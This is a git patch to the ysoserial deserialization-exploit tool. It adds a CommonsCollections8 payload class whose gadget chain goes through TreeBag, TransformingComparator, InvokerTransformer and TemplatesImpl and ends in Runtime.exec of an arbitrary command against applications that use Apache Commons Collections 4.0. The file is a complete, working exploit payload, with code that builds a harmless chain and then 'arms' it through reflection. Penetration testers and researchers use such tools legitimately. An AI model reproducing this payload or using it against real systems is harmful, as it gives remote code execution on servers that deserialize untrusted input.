From 9c448b58cd4533b0d4c3bb00229c29e293be11af Mon Sep 17 00:00:00 2001
From: navalorenzo <34750199+navalorenzo@users.noreply.github.com>
Date: Wed, 27 Apr 2022 07:04:18 +0200
Subject: [PATCH] CommonsCollections8 payload (#116)

---
 .../payloads/CommonsCollections8.java         | 56 +++++++++++++++++++
 .../payloads/annotation/Authors.java          |  1 +
 2 files changed, 57 insertions(+)
 create mode 100644 src/main/java/ysoserial/payloads/CommonsCollections8.java

diff --git a/src/main/java/ysoserial/payloads/CommonsCollections8.java b/src/main/java/ysoserial/payloads/CommonsCollections8.java
new file mode 100644
index 0000000..add2a52
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/CommonsCollections8.java
@@ -0,0 +1,56 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections4.bag.TreeBag;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.InvokerTransformer;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/*
+	Gadget chain:
+        org.apache.commons.collections4.bag.TreeBag.readObject
+        org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
+        java.util.TreeMap.put
+        java.util.TreeMap.compare
+        org.apache.commons.collections4.comparators.TransformingComparator.compare
+        org.apache.commons.collections4.functors.InvokerTransformer.transform
+        java.lang.reflect.Method.invoke
+        sun.reflect.DelegatingMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke
+        sun.reflect.NativeMethodAccessorImpl.invoke0
+        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
+            ... (TemplatesImpl gadget)
+        java.lang.Runtime.exec
+ */
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.apache.commons:commons-collections4:4.0"})
+@Authors({ Authors.NAVALORENZO })
+public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
+
+	public TreeBag getObject(final String command) throws Exception {
+        Object templates = Gadgets.createTemplatesImpl(command);
+
+        // setup harmless chain
+        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
+
+        // define the comparator used for sorting
+        TransformingComparator comp = new TransformingComparator(transformer);
+
+        // prepare CommonsCollections object entry point
+        TreeBag tree = new TreeBag(comp);
+        tree.add(templates);
+
+        // arm transformer
+        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
+
+        return tree;
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(CommonsCollections8.class, args);
+	}
+
+}
diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java
index 48c9408..055a627 100644
--- a/src/main/java/ysoserial/payloads/annotation/Authors.java
+++ b/src/main/java/ysoserial/payloads/annotation/Authors.java
@@ -23,6 +23,7 @@ public @interface Authors {
     String SCRISTALLI = "scristalli";
     String HANYRAX = "hanyrax";
     String EDOARDOVIGNATI = "EdoardoVignati";
+    String NAVALORENZO = "navalorenzo";
     String JANG = "Jang";
     String ARTSPLOIT = "artsploit";